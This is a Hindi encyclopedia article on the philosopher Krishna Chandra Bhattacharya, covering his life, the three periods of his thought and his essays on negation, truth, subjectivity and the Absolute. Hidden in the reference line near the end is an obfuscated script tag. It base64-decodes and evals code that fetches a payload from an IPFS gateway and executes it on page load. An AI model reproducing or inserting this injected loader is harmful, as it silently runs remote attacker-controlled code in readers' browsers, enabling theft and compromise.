कृष्ण चन्द्र भट्टाचार्य

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कृष्ण चन्द्र भट्टाचार्य
कृष्ण चन्द्र भट्टाचार्य
पूरा नाम कृष्ण चन्द्र भट्टाचार्य
जन्म 12 मई, 1875
जन्म भूमि सिरामपुर, पश्चिम बंगाल
मृत्यु 11 दिसंबर, 1949
कर्म भूमि भारत
कर्म-क्षेत्र दर्शन
मुख्य रचनाएँ Some aspects of Negation और The Jaina theory of Anekantavada[1]
प्रसिद्धि दार्शनिक
नागरिकता भारतीय
अन्य जानकारी कृष्णचन्द्र भट्टाचार्य के दर्शन के विकास को तीन सुस्पष्ट अवधियों में विभक्त किया जा सकता है- प्रथम अवधि 1918 तक, द्वितीय अवधि 1925 से 1932 तक, और तृतीय 1934 से 1938 तक।

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कृष्ण चन्द्र भट्टाचार्य (अंग्रेज़ी: Krishna Chandra Bhattacharya, जन्म: 12 मई, 1875 - मृत्यु: 11 दिसंबर, 1949) कलकत्ता विश्वविद्यालय में दार्शनिक थे, जिन्होंने हिन्दू दर्शन पर अध्ययन किया।

जीवन परिचय

कृष्णचन्द्र भट्टाचार्य का जन्म 12 मई, 1875 ई. को सिरामपुर पश्चिम बंगाल में हुआ था। वे बंगाल शिक्षा सेवा से बहाल होकर कई कॉलेजों में व्याख्याता रहे। 1930 में उन्होंने हुगली कॉलेज के स्थानापन्न प्रधानाचार्य के पद पर करते हुए अवकाश ग्रहण किया। अमलनेर के भारतीय दर्शन संस्थान के निदेशक के पद पर भी वे कुछ दिन रहे। 1935 में कलकत्ता विश्वविद्यालय के दर्शन शास्त्र के पंचम जॉर्ज प्रोफ़ेसर का पद उनको दिया गया।

दर्शन के विकास की अवधियाँ

कृष्णचन्द्र भट्टाचार्य के दर्शन के विकास को तीन सुस्पष्ट अवधियों में विभक्त किया जा सकता है- प्रथम अवधि 1918 तक, द्वितीय अवधि 1925 से 1932 तक, और तृतीय 1934 से 1938 तक।

प्रथम अवधि

प्रथम अवधि में जिस मुख्य विषय को उन्होंने लिया, वह 'निश्चित' और 'अनिश्चित' के स्वरूप तथा इन दोनों के मध्य संबंध की समस्या थी। निश्चित वह है जिसका अनुभव इतना सुस्पष्ट हो कि कम से कम अनुभव के समय तो उसके किसी एक पक्ष या पूरे के बारे में किसी भी तरह का कोई संदेह विद्यमान न हो। अनिश्चित ठीक इसके विपरीत है। इस अर्थ में इन्द्रियानुभववादियों के लिए जो कुछ भी इन्द्रियों द्वारा प्राप्त है, वह निश्चित है। इसी तरह से तर्क बुद्धिवादियों के लिए विषय का तार्किक, संप्रत्ययात्मक और संबंधात्मक पक्ष निश्चित है। इन्द्रियानुभववादियों तथा तर्क बुद्धिवादियों, दोनों के ही अपने अपने 'निश्चित' हैं, जिनसे वे आरम्भ करते हैं तथा जो उनकी स्वीकृति के आधार स्तम्भ व अन्तिम मानदण्ड हैं। किन्तु फिर भी दोनों ही तत्संबंधी अनिश्चित से पूर्णतया मुक्त नहीं हो पाए हैं। हर एक ने जहाँ तक सम्भव हो सका है, अपने अनिश्चित की व्याख्या अपने निश्चित की भाषा में ही करने का प्रयास किया है, किन्तु फिर भी इसमें अनिश्चित का कुछ अंश सदा विद्यमान रहा है। उदाहरण के लिए, इन्द्रियानुभववादियों ने तर्कशास्त्र और संबंधों को 'इन्द्रियदत्त' के माध्यम से समझाने का प्रयास किया है। इसके विपरीत तर्क बुद्धिवादियों ने इस दत्त को अपूर्ण तर्कबुद्धि कहा और उसको ऐसी बाधा माना, जिससे छुटकारा पाना अत्यन्त आवश्यक है। उन्होंने इसे तर्कबुद्धि का अपने आप को नकारना तक कहा है। किन्तु इन्द्रियानुभववादियों के लिए यह एक समस्या है कि वे संबंधों को उन वास्तविक पदों से कैसे संबंधित करें, जो दत्त हैं, क्योंकि इस प्रक्रम में वही समस्या फिर उठ खड़ी होती है। इसके अतिरिक्त इन्द्रियानुभववादियों को तर्क शास्त्र की विभिन्न इन्द्रियानुभवपरक व्याख्याओं का तुलनात्मक मूल्यांकन भी करना है, जो कि तब तक सम्भव नहीं है, जब तक कि किसी आधारभूत अनिंद्रियानुभविक, फलत: अनिश्चित तर्क शास्त्र का, स्वीकार नहीं किया जाता। दूसरी ओर तर्कबुद्धिवादी भी इसी तरह दत्त से पूर्णतया मुक्त नहीं हो पाए हैं। उनको एक अंधकारमय पृष्ठभूमि या किसी अतार्किक तत्व को स्वीकार करने को बाध्य होना पड़ा है। हेगेलवादियों ने दत्त को तर्कबुद्धि का अपने आप को नकारना कहकर उससे छुटकारा पाने की कोशिश अवश्य की, पर इससे दत्त का ठोसपन जाता रहा।

हम शान्ति के साथ (वर्तमान संदर्भ में) निश्चित और अनिश्चित को-विचार और अनुभव को, मिला भी नहीं सकते। इसका कारण यह है कि ऐसा करने के लिए हमें संबंधों को संबंधियों से जोड़ने का असंभव कार्य करना होगा। वास्तव में इस तरह से दोनों को मिलाने की कोई आवश्यकता ही नहीं है, क्योंकि हर एक का यह दावा है कि वह अपने ही बल-बूते पर एक सांगोंपांग दर्शन प्रदान कर सकता है। चाहे इन्द्रियानुभववादी हों या तर्क बुद्धिवादी, दोनों के लिए दर्शन, अनिश्चित को निश्चित में परिवर्तित करने, यानी अनुभव में जो भी अनिश्चित का अंश है, उसको निरन्तर निश्चित में परिवर्तित करने रहने का, सतत प्रयास है, भले ही वह कई चरणों में हो। तर्क बुद्धिवादियों के लिए सदैव असमाधेय बना रहने वाला दत्त हर स्थिति में वह अनिश्चित है, जो वहीं तक निश्चित में परिवर्तित हो सकता है, जहाँ तक विचार, जिसे अन्यथा तार्किक तत्व भी कहा जाता है, 'दत्त' से सतत मुक्त अनुभूत होता है। इसको दूसरे रूप में इस तरह भी कहा जा सकता है कि नीचे घोर इन्द्रियपरता के स्तर तक प्रत्येक चरण में दत्त का अनुभव स्वयं को प्रदान करने वाले विचार के रूप में होता है। विचार का मात्र स्वयं के रूप में ही नहीं, बल्कि जो दत्त नहीं है, उस रूप में भी 'अ' सही 'अ' केवल तभी है, जब वह न केवल 'अ' है, बल्कि वह अन्य सब चीजों का निषेध भी है। अपने परवर्ती चिंतन में भट्टाचार्य ने इसको दत्त का विभेदन करने वाला विचार कहा। केवल विचार को उन्होंने विच्छिन्न विचार कहा और बाद के चिंतन में विच्छेदन और विभेदन को मुक्ति के क्रमश: निषेधात्मक और विध्यात्मक रूप कहा।

रचनाएँ

अभी तक जो विवरण दिया गया है, वह भट्टाचार्य के एक लेखक The place of indefinite in logic में उपलब्ध है। किन्तु भट्टाचार्य की यही विचारधारा उनके दो लेखों Some aspects of Negation और The Jaina theory of Anekantavada [2], में दो भिन्न रूपों में विकसित हुई। प्रथम लेख में उन्होंने यह दिखाने का प्रयत्न किया है कि किस तरह से एक सरल अनेकात्मक स्थित 'अ' (और) 'ब' में, जिसमें 'अ' की 'ब' से भिन्नता 'अनिश्चित' मात्र है, निषेध का एक संबंधात्मक रूप (अ ब नहीं), जो अधिक निश्चित होता है, विकसित हो जाता है, इतना ही नहीं, भट्टाचार्य ने यह भी दिखा दिया है कि किस तरह से यह निषेध, जो कि स्वयं एक संबंध है और अन्य समस्त संबंधों का आधार है और अधिक निश्चित रूप से 'अ' के घटक के रूप में होता है। अपने दूसरे लेख, The Jaina theory of Anekantavada में भट्टाचार्य ने दिखाया है कि ठीक यही बात कुछ भिन्न रूप में जैन दर्शन के अनेकांतवाद के मूल में है।

द्वितीय अवधि

यहाँ तक यह बताया गया है कि तर्कबुद्धिवादी किस तरह से कई चरणों में (अनिश्चित) दत्त को निश्चित में परिवर्तित करता है। अपने चिंतन की द्वितीय अवधि में भट्टाचार्य इन्द्रियानुभववादियों को लेते हैं और यह दिखाते हैं कि

  1. दत्त में ऐसे पक्ष हैं, जिनको निश्चित में परिवर्तित करने की आवश्यकता होती है
  2. यद्यपि दत्त सदैव कोई वस्तु होता है जो कि मेरे लिए बाह्य है, फिर भी उसके इन पक्षों को किसी वस्तुपरक भाषा के माध्यम से निश्चित में परिवर्तित नहीं किया जा सकता
  3. इन पक्षों के निश्चितीकरण का एक मात्र तरीका उनकी विषयनिष्ठता से समीकरण है।

अनुषंगत: पहली बार भट्टाचार्य ने इस बात को माना है कि वस्तु जहाँ तक मेरे लिए बाह्य है, वहाँ तक सदैव अनिश्चित ही रहेगी, क्योंकि बाह्य सदैव आपातिक होता है। मैं उसके बारे में कभी भी पूर्ण रूप से आश्वस्त नहीं हो सकता, हालांकि ऊपरी तौर से बिना किसी प्रश्न के मुझे उसको केवल इसलिए स्वीकार लेना पड़ता है कि उसने मेरे मन पर अधिकतम बाह्यकारी प्रभाव डाला है। इसके विपरीत, विषयनिष्ठ, जहाँ तक कि वह वास्तविक विषयनिष्ठता है, वास्तव में मैं स्वयं हूँ। अत: वह न केवल इसीलिए निश्चित है कि वस्तुओं से संबद्ध आपातिकता उससे पूर्णत: अलग हो गई है, बल्कि इसलिए भी कि वह समस्त वस्तुनिष्ठ विशेषताओं से विच्छिन्न है और उनका विभेदन करता है, वह स्वयं प्रकाश है : स्वत:सिद्ध विषयिनिष्ठता के रूप में अधिकाधिक अनुभव होता है और इसीलिए वह निश्चितता का सारतत्व है।

दत्त के पक्ष

दत्त के पक्ष, जो इन्द्रियानुभववादियों के लिए समस्या और फलत: अनिश्चित हैं, कई प्रकार के हैं:

  1. तार्किक
  2. संबंधों के अलावा उनके अंतर्गत ये सब भी आते हैं
  3. वे मिथ्याभास जिनके मिथ्यात्व का ज्ञान हो चुका है
  4. जो कुछ इन्द्रियों के द्वारा गृहीत है, उसके वास्तविक होने का बोध यानी इन्द्रियानुभववाश्रित प्रतिज्ञप्तियों की सत्यता। इसके अतिरिक्त अपनी पुस्तक The subject as freedom में भट्टाचार्य ने इन्हें भी बार-बार दत्त के पक्ष बताया है : बाहर से दिखाई देने वाला अपना शरीर, अपने शरीर का आंतरिक अनुभव, अभाव के विभिन्न प्रकारों का ज्ञान और विभिन्न प्रकार के ज्ञात अभाव तथा बिंब प्रत्यय आदि।

अपने लेखों, Sankara’s Doctrine of maya, correction of error as a logical process और The false and the subjective में भट्टाचार्य ने मिथ्या[3] के संप्रत्यय में निहित वास्तविक समस्याओं का विस्तृत विवरण दिया है और यह बताया है कि इन समस्याओं का समाधान किस तरह से होना चाहिए और उसमें क्या-क्या बातें निहित हैं। सच्चाई के ज्ञान के पहले ऐसी मिथ्या वस्तु स्थान विशेष में प्रतीत होती थी, जिसमें अन्य वास्तविक वस्तुएं थीं। किन्तु सच्चाई के ज्ञान के बाद यह निश्चित रूप से ज्ञात हो जाता है कि न केवल वह वस्तु उस समय उस स्थान में नहीं थी, अपितु उसका इस स्थान में होना कभी संभव ही नहीं था। किन्तु इसके आधार पर तत्काल ही यह निष्कर्ष नहीं निकाला जा सकता कि वह वस्तु कुछ नहीं है या कुछ नहीं थी। फिर भी, यह नहीं हो सकता कि वह वास्तविक दिक् में स्थित कोई वस्तु रही है। इस बात का तात्पर्य केवल यह है कि एक वस्तु के किसी स्थान में दिखाई देने के बाद अब यह दावा किया जाता है कि वह असल में विषयिता का एक प्रकार मात्र थी, पर वस्तु के रूप में प्रतीत हुई थी। प्रकाशन्तर से बात यह हुई कि उस चीज़ की प्रतीयमान विषयता का लोप होकर उसका विषयिता के रूप में किसी तरह अनुभव किया जाता है। भट्टाचार्य इस बात से अद्वैत वेदांत... के पक्ष में और भी निष्कर्ष निकालते हैं।

दृष्टिकोण

अपने एक अन्य लेख Knowledge and Truth में भट्टाचार्य ने 'सत्यता' का भी लगभग इसी तरह से विवेचन किया है। उन्होंने ज्ञान और सत्यता (और उनके संबंधों) के साधारण संप्रत्ययों का विश्लेषण करके यह दिखाया है कि यद्यपि ज्ञान साधारणत: मानसिक अवस्था है, (और इसीलिए विषयनिष्ठ है), फिर भी, सर्वप्रथम ज्ञान की सत्यता का बोध ही हमें इस बात का अहसास कराता है कि ज्ञान अनिवार्यत:, शुद्ध विषयिनिष्ठता (एक शुद्ध विषयिनिष्ठ क्रिया) है तथा असल में ज्ञान की यह सत्यता इस अहसास का ही दूसरा नाम है। यह भी वेदांत का सिद्धांत है और इसी के आधार पर पहले की ही तरह भट्टाचार्य ने आगे के और भी तत्वमीमांसीय निष्कर्ष निकाले हैं। इसी लेख में भट्टाचार्य पहली बार कांट और वेदांत (अद्वैत) के मध्य संबंध की चर्चा करते हैं। उनका यह कहना है कि जहाँ कांट ने अपनी ज्ञानमीमांसा में शुद्ध अहंप्रत्यय (विषयिता का प्रत्यय) को स्पष्ट ज्ञान रूपी मानसिक स्थिति का प्रागनंभविक पूर्वालम्ब बताया है। वहाँ वेदांत ने इससे भी आगे जाकर सत्यता के अपने संप्रत्यय से सत्ता के बारे में एक सिद्धांत का विकास किया है।

इस प्रकार दार्शनिक चिन्तन की इस द्वितीय अवधि में भट्टाचार्य का मुख्य उद्देश्य यह दिखाना था कि प्राकृतिक मनोवृत्ति के स्तर पर जिस चीज़ का भी अनुभव अनिश्चित (संदिग्ध) के रूप में होता है, अनन्त-यानी जब वह निश्चित में परिवर्तित हो जाती है-और कुछ नहीं बल्कि शुद्ध विषयिनिष्ठता ही है। यह बात न केवल मिथ्यात्व और सत्यता के संदर्भ में सही है, बल्कि संबंधों, और जो तर्कशास्त्र कहलाता है उसके, संदर्भ में सही है। जो अनिश्चित अपनी प्रथम अवस्था में निश्चित दत्त को घेरे हुए था और निश्चितीकरण की मांग कर रहा था, वह दूसरी अवस्था में शुद्ध विषयितामात्र के रूप में निश्चितीकरण योग्य सिद्ध हो गया।

जैसा कि पहले ही कहा जा चुका है, अपने ग्रन्थ The Subject as Freedom में अनुभव के विभिन्न स्तरों पर भट्टाचार्य ने ऐसे कई अनिश्चिती (विरोधाभासी घटनाओं) को लिया है और बहुत ही सूक्ष्म विश्लेषण के द्वारा यह दिखाया है कि प्रत्येक स्तर पर निश्चितिकरण के प्रयास में कोई शक्तिशाली दत्त, चाहे वह कोई बाह्य वस्तु हो, या बाहर से दिखने वाला व्यक्ति का अपना शरीर हो,[4] या अपने शरीर की ही आंतरिक अनुभूति हो, या चार प्रकार के अभाव या उनके अनुभव हों, या कोई भावात्मक मानसिक तथ्य हो, जैसे प्रतिमा या विचार (और इनके उपप्रकार), उसमें विलीन हो जाता है, जो संबंधित स्तर या उपस्तर पर अपेक्षाकृत विषयनिष्ठ है, अर्थात् विषयिनिष्ठता गुणों से विच्छिन्न कर देता है और ऐसी वस्तु का विभेदन करता है। यह सब भट्टाचार्य ने सविस्तार दिखाया है और फिर भी उनका यह दावा है कि उनका कार्य एक साधारण मनोवैज्ञानिक का नहीं है। साधारण मनोविज्ञान के लिए विषयिनिष्ठ केवल मानसिक तथ्य (स्थिति) है, जिसका अन्तनिरीक्षण द्वारा वस्तु के रूप में अनुभव किया जाता है। दूसरी ओर भट्टाचार्य विषयिनिष्ठता के दो और प्रकार बताते हैं-

  1. अव-मानसिक विषयिनिष्ठता
  2. अधि-मानसिक विषयिनिष्ठता।

अव-मानसिक का क्षेत्र प्रत्यक्ष से लेकर विभिन्न प्रकार के अभावों के अनुभव तक है। उसका अन्तनिरीक्षण द्वारा अनुभव संबंधित वस्तुओं से, अर्थात् स्वतंत्रता के क्रमिक रूपों- जैसे कि मानसिक तथ्य सदैव होते हैं, से विच्छिन्न कर किसी भी प्रकार नहीं नहीं किया जा सकता, हालांकि इसका भी वस्तुओं के रूप में अनुभव उन वस्तुओं के साथ किसी तरह से व्यतिकर होने के कारण होता है, जिनकी ओर इसका (मानसिक तथ्य) अन्तत: निर्देश होता है। दूसरी ओर, कोई ऐसी वस्तु होती ही नहीं, जिससे अधि मानसिक का विच्छेद करने की ज़रूरत हो और इसलिए उसका किसी वस्तु के साथ व्यतिकर होने का प्रश्न ही नहीं उठता। वह विषयिनिष्ठता का शुद्धतम रूप है, जिसे केवल अपना ही बोध होता है। यानी जो स्वयं प्रकाश्य है। इस अर्थ में अधिमानसिक विषयिनिष्ठता के दो रूप हैं- अविमर्शात्मक और विमर्शात्मक। अपने अविमर्शात्मक रूप में भट्टाचार्य के अनुसार यह 'भावना' है तथा विमर्शात्मक रूप में आत्मिक अन्तनिरीक्षण। इसके विपरीत, प्रत्येक मानसिक तथ्य चाहे वह किसी भी स्तर पर हो, एक अन्तनिरीक्षित[5] वस्तु होती है और किसी तरह से उस अन्तनिरीक्षण से अभिन्न भी। वह उससे अभिन्न वहीं तक होता है, जहाँ तक कि वह प्रात्यक्षिक रूप में उस मानसिक अवस्था (ज्ञान) का विषय होती है।

The subject as Freedom में भट्टाचार्य आत्मिक अन्तनिरीक्षण से भी आगे की एक अवस्था को स्वीकार करते हैं। वास्तव में आत्मिक अन्तनिरीक्षण कांट का प्रागनुभविक अहंप्रत्यय ही है, जो सदैव एक क्रिया होता है, न कि कोई अस्तित्ववान वस्तु या और पीछे विद्यमान किसी द्रव्य का सूचक। कांट ने इस बात को भी कभी स्पष्ट नहीं किया कि उनका प्रागनुभविक अहंप्रत्यय (शुद्ध तर्कबुद्धि) वैयक्तिक (वैशेष्टिक) है या अति-वैयक्तिक। इसके विपरीत, भट्टाचार्य इन दोनों के ही बारे में पूर्णतया स्पष्ट हैं। आत्मिक अन्तनिरीक्षण यद्यपि असंदिग्ध रूप से वैयक्तिक उत्तम पुरुष 'मैं' है, तथापि नैतिक परिस्थिति में वह मध्यम पुरुष 'तुम' से और परीक्षत: अन्य पुरुष 'वह' तक से पारिवारिक सादृश्य रखता है तथा धार्मिक चेतना में वह अति-वैयक्तिक 'अहंता' के निषेध की मांग (जो कि अभी पूरी नहीं हुई है) झलकती है। दूसरे शब्दों में मांग यह है कि स्वानुभूत व्याष्टिक विषयनिष्ठता के इस निषेध द्वारा आगे के स्तर पर जिसकी प्राप्ति करनी है, वह है निरपेक्ष, जो भट्टाचार्य के अनुसार अब भी विषयिनिष्ठता अर्थात् स्वतंत्रता है, हालांकि अब उसका बोध वस्तुवत् मात्र होता है आत्मवत् नहीं। भट्टाचार्य के अनुसार स्वतंत्रता के रूप में परम विषयनिष्ठता है। अपने ग्रन्थ The Subject as Freedom के प्रारम्भ में भट्टाचार्य ने विषयी[6] और विषय[7] के संप्रत्ययों का स्पष्ट विश्लेषण किया है।

तृतीय अवधि

परम तत्त्व या ब्रह्म के इसी प्रत्यय को भट्टाचार्य ने अपने चिन्तन की तृतीय अवधि में अपने लेख The concept of philosophy में, धैर्यपूर्व विकसित किया है। ब्रह्म वह सत्य है जिसकी सत्तात्मक स्थिति की मांग है। वह एक प्रतीकात्मक सत्य है, शाब्दिक सत्य नहीं। इस लेख की दो अन्य नई विशेषताएं हैं-

  1. भट्टाचार्य ने इस संप्रत्यय का विकास सोपानिक क्रम में इन तीन अन्य संप्रत्ययों के विस्तृत विश्लेषण के द्वारा किया है- (इन्द्रियानुभविक) तथ्य, स्वयंभू (वस्तु-सामान्य), और विषयिनिष्ठता (उत्तम पुरुष 'मैं') वास्तविकता के रूप में।
  2. जो लेख की विशेष रूप से उल्लेखनीय नई बात है, वह यह की भट्टाचार्य के अनुसार ब्रह्म को तीन वैकल्पिक रीतियों से प्रतीकात्मक रूप में सीचा जा सकता है।

'तथ्य'

  1. जिसके विषय में कुछ कहने की आवश्यकता तो नहीं होती, किन्तु फिर भी कहा जा सकता है, अर्थात् जो बिना कुछ कहे ही बोधगम्य है
  2. जिसे शाब्दिक अर्थ में सोचा जाता है
  3. जिसका या तो इन्द्रियों के माध्यम से प्रत्यक्ष होता है या फिर जिसके ऐसे प्रत्यक्ष की कल्पना की जाती है।

इसके विपरीत, जो स्वयंभू (वस्तु) है, उसके बारे में ऐसा माना जाता है कि

  1. यदि उसके विषय में कहा जा जाये तो वह बोधगम्य नहीं होती, हालांकि वह व्यक्ति के द्वारा व्यक्त विश्वास से पूर्णतया स्वतंत्र होती है। यह कहना कि 'वहाँ पर कोई वस्तु है' या वस्तुओं के अमुक प्रकार हैं।
  2. वह शाब्दिक अर्थ में विचार का विषय है
  3. न तो उसका इन्द्रिय प्रत्यक्ष होता है और न उसके ऐसे प्रत्यक्ष की कल्पना ही की जाती है।

जहाँ तक वास्तविकता[8] का प्रश्न है, उसका भी स्वयंभू वस्तु की भांति ही बोध होता है। अन्तर केवल इतना होता है कि उसका बोध एक इन्द्रियानुभविक या तत्वमीमांससीय वस्तु के रूप में नहीं होता। ऐसी वास्तविकता का साक्षात ज्ञान होता है तथा इसका मेरे कहने से पृथक् रूप में अनुभव नहीं किया जाता। यद्यपि इसका श्रोता और वक्ता दोनों को ही समान बोध होता है, तथापि यह दोनों के द्वारा व्यक्त विश्वास से पूर्णतया स्वतंत्र होती है और इसकी अपनी सत्तात्मक स्थिति होती है। तथ्य, स्वयंभू वस्तु तथा विषयी के रूप में साक्षात रूप से ज्ञात वास्तविकता शाब्दिक अर्थ में विचार के विषय है, किन्तु ब्रह्म जो कि वास्तविकता से भी परे माना गया है,[9] शाब्दिक अर्थ तक में विचार का विषय नहीं है। उसके संबंध में तो कही गई बात के निषेध द्वारा ही कुछ कहा जा सकता है। विचार के ये चारों प्रकार हैं। प्रत्येक का विषय एक विश्वास रहता है, जिसका कथन होता है, किन्तु अन्तिम में वह सदैव ज्ञेय के रूप में जाना जाता है।[10] इस प्रकार उसकी सत्ता का निषेध नहीं किया जाता।

ब्रह्म के वैकल्पिक रूप

इस ब्रह्म का तीन वैकल्पिक रूपों से ज्ञान हो सकता है-

  1. चरम सत्ता के रूप में, इस रूप में वह ऐसा सत्य है, जो अन्तिम आत्म-अभेद है, इस रूप में कि उसका अन्य किसी चीज़ से भेद नहीं किया जा सकता
  2. पूर्ण विच्छेद, पूर्ण स्वातंत्र्य के रूप में जिसमें विच्छेद की प्रक्रिया उच्चतम सीमा पर पहुँच गई हो और कोई ऐसी चीज़ शेष न रहे, जिससे अभी विच्छेद होना बाकी हो
  3. उक्त दोनों विकल्पों के अनियत क्रमांतरण के रूप में।

ये तीनों विकल्प वक्ता के दृष्टिकोण से ब्रह्म के तीन वैकल्पिक वर्णन हैं, उसके यथार्थ चित्रण नहीं। इसके साथ ही तीनों विकल्प समान रूप से (किन्तु एक साथ नहीं) सत्य के कथन हैं। इन विकल्पों में से प्रथम अद्वैत वेदांत का है, दूसरा (माध्यमिक) बौद्ध दर्शन का, और तीसरा हेगेल तथा शैव मत का। यदि प्रत्यक्ष ब्रह्म को सत्य के रूप में मानता है और दूसरा स्वतंत्रता के रूप में तो तीसरा 'मूल्य' के रूप में मानता है, जो सत्ता के साथ साथ सतत विभेदन भी है। हेगेल सत्य और स्वतंत्रता के अनियत क्रमांतरण को नहीं समझ पाए और इसलिए इन दोनों की एकता की बात ग़लती से कर गए।

"परम ब्रह्म सत्य हो सकता है या वह जो सत्य नहीं है, अथवा वह इन दोनों की मात्र भिन्नता भी हो सकता है, जिसकी पृष्ठभूमि में कोई एकता नहीं है।"

ब्रह्म के इन वैकल्पिक संप्रत्ययों का भट्टाचार्य ने अपने लेख The concept of the Absolute and its alternative forms में अधिक विस्तार के साथ विकास किया है। लेख के आरम्भ में भट्टाचार्य, ज्ञान, भावना और संकल्प में, अंतर्वस्तु और चेतना के मध्य संबंध का विमर्शात्मक विश्लेषण करते हैं। भट्टाचार्य ने यह दावा दिखा दिया है कि ज्ञान, भावना व संकल्प ब्रह्म को क्रमश: सत्य, मूल्य और स्वतंत्रता (वास्तविकता) के रूप में कल्पित करते हैं। सत्य वह अंतर्वस्तु है, जिसको अंतत: अंतर्वस्तु के संदर्भ में मुक्त होना है और मूल्य एक तरह से अंतर्वस्तु और चेतना की मुक्त एकता है। ये तीनों इकट्ठे नहीं हैं, जो वास्तविक (स्वतंत्र) है, वह सत्य नहीं है, किन्तु सत्य वास्तविक हो सकता है, सत्य मूल्य नहीं है, किन्तु मूल्य असत्य नहीं है, और यद्यपि मूल्य के वास्तविक और सत्य विशेषण नहीं हो सकते, तथापि यह नहीं कहा जा सकता कि वास्तविकता (स्वतंत्रता) मूल्य नहीं है, परम तत्व या ब्रह्म को इसी अर्थ में सत्यता, मूल्य और वास्तविकता का क्रमान्तरण कहा जाता है।

मूल्य के संप्रत्यय का पूर्ण विवेचन भट्टाचार्य ने अपने The concept of value में किया है। उन्होंने इस लेख एक बार फिर यह दिखाया है कि भावना ज्ञान और संकल्प के क्या क्या कार्य हैं। उन्होंने भावना को मुख्य बताया है तथा ज्ञान और संकल्प को गौण।


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टीका टिप्पणी और संदर्भ

भट्टाचार्य, प्रो. कालिदास विश्व के प्रमुख दार्शनिक (हिन्दी)। भारतडिस्कवरी पुस्तकालय: वैज्ञानिक तथा तकनीकी शब्दावली आयोग, नई दिल्ली, 359।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. जो सम्भवत: उनके चिन्तन की प्रथम अवधि में लिखा गया था और द्वितीय अवधि के प्रारम्भ में प्रकाशित हुआ
  2. जो सम्भवत: उनके चिन्तन की प्रथम अवधि में लिखा गया था और द्वितीय अवधि के प्रारम्भ में प्रकाशित हुआ
  3. जिसके मिथ्यात्व का पता लग गया है
  4. जो शरीर के प्रत्यक्ष ही समानार्थक है
  5. कम से कम अन्तनिरीक्षणगम्य
  6. उत्तम, मध्यम और अन्य पुरुष-क्रमश: मैं, तुम और वह
  7. सर्वनाम 'यह' के द्वारा संकेतित
  8. उत्तम पुरुष 'मैं' जिसका स्वयं को साक्षात् ज्ञान होता है
  9. और जिसको भट्टाचार्य ने सत्यता कहा है
  10. अज्ञेय के रूप में कदापि नहीं

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